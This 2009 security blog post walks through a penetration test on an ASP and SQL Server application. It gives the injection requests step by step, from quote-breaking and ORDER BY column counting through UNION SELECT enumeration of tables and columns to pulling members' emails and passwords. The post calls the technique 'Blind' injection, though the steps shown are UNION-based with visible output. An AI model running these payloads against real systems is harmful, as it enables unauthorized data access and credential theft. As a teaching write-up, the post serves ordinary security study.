news

Blind SQL Injection

16 Jun 2009

The infamous Blind SQL Injection vulnerability class. Recently while performing a web application penetration test on a closed source application I discovered a Blind SQL Injection vulnerability and was able to exploit this vulnerability to compromise the whole web application. Below is the process I used.

1. Discovering the vulnerability.
Try and make the query return true with the use of more characters than allowed:

Request : file.asp?id=1'"
Response: System error (Failed to execute query)

Request : file.asp?id=1' OR '1'='1
Response: Query returned true (page loaded)

Note: Remember to try talking marks if quotes are not breaking the query.

2. Attempt to determine what the query is doing. Do you think it will be possible to return data or just execute a query? It may be difficult to determine at this point. However if it is only possible to execute queries your best chance is updating or inserting a new entry. The below principles can be used to achieve this.

3. Column counting
In order to construct a valid UNION query you need to know how many columns to select. There are a number of methods to achieve this. I find using the ORDER BY clauses to be most efficient. ORDER BY can take integers to select a column to order by:

Request: file.asp?id=1' ORDER BY 1 --
Response: Query returned true (page loaded)

Request: file.asp?id=1' ORDER BY 2 --
Response: Query returned true (page loaded)

Request: file.asp?id=1' ORDER BY 3 --
Response: System error.

Since the final response resulted in "System error" meaning that the query failed we were able to determine the number of columns selected: 2 (number of requests that returned true).

4. Constructing a valid UNION query
Before being able to execute a valid UNION query we need to determine the datatypes of the columns being selected. If a column is of INT datatype and you try to UNION SELECT with a VARCHAR datatype the query will fail. I was able to achieve this by selecting "null", or "0" as my column names in a UNION query:

Request: file.asp?id=1' UNION SELECT null, null --
Response: Query returned true (page loaded)

Request: file.asp?id=1' UNION SELECT @@version, null --
Response: System Error

Request: file.asp?id=1' UNION SELECT null, @@version --
Response: Query returned true (SQL Server version information returned)

Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
Copyright (c) 1988-2000 Microsoft Corporation
Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

In conclusion I was able to determine that the first column being selected is a datatype other than char (or similar). The second column was determined to be a datatype similar (if not the same) to that of the column being selected.

5. Finding SQL server information
Now that I was able to construct a valid UNION query I wanted to return other information. I started by selecting the server name from master..sysservers:

Request : file.asp?id=1' UNION SELECT null, srvname FROM master..sysservers --
Response: Query returned true (Server name returned)

Following this I selected a username from master..sysusers:
Request : file.asp?id=1' UNION SELECT null, user FROM master..sysusers --
Response: Query returned true (Database username returned)

6. Enumerating columns and tables
The below queries are pretty straight forward. Firstly I select all tables followed by selecting all columns for a specific table.

All tables:
Request : file.asp?id=1' UNION SELECT null, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --
Response: Query returned true (All table names returned)

All columns for "tbl_MemberDetails":
Request : file.asp?id=1' UNION SELECT null, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_MemberDetails' --
Response: Query returned true (All column names for specified table returned)

7. Retrieving an account
Now that I had determined the table and columns I wanted to select I was able to construct the below queries. "email" is the username field followed by "password" being the password field.

All email addresses:
Request : file.asp?id=1' UNION SELECT null, email FROM tbl_MemberDetails --
Response: Query returned true (All email addresses returned)
 
All passwords:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails --
Response: Query returned true (All passwords returned)
 
Password for a specific user:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails WHERE email='administrator@AAAAA.com
Response: Query returned true (Specific password returned)

In closing I was able to obtain a number of user accounts. Previous to this I had never exploited a Blind SQL Injection vulnerability. The whole process took about an hour to complete.

Later this month I plan on releasing a basic shellcode encoder I wrote to assist in eliminating null bytes (and others) from shellcode. Its nothing compared to metasploit however recently I went through a phase of learning to write win32 shellcode! While writing the shellcode I attempted to eliminate null bytes I knew would occur. Although unfortunately my shellcode was not null byte free. So instead of adding extra operations to eliminate my nulls bytes I wrote an encoder/decoder.

When I release the peices of shellcode I wrote I will release a version with null bytes that uses a decoder, and a version without. I plan on releasing them this month...

comments (3)

Lighthammer (26 Jun 09 - 21:14) said...
Nice post
I find your blog most useful
Keep em coming

Thx
LH
bmgsec (16 Jul 09 - 16:23) said...
Thanks for the support :)
mr_me (06 Oct 09 - 11:13) said...
nice blog bud ;)
Author
Email
Comment
Capture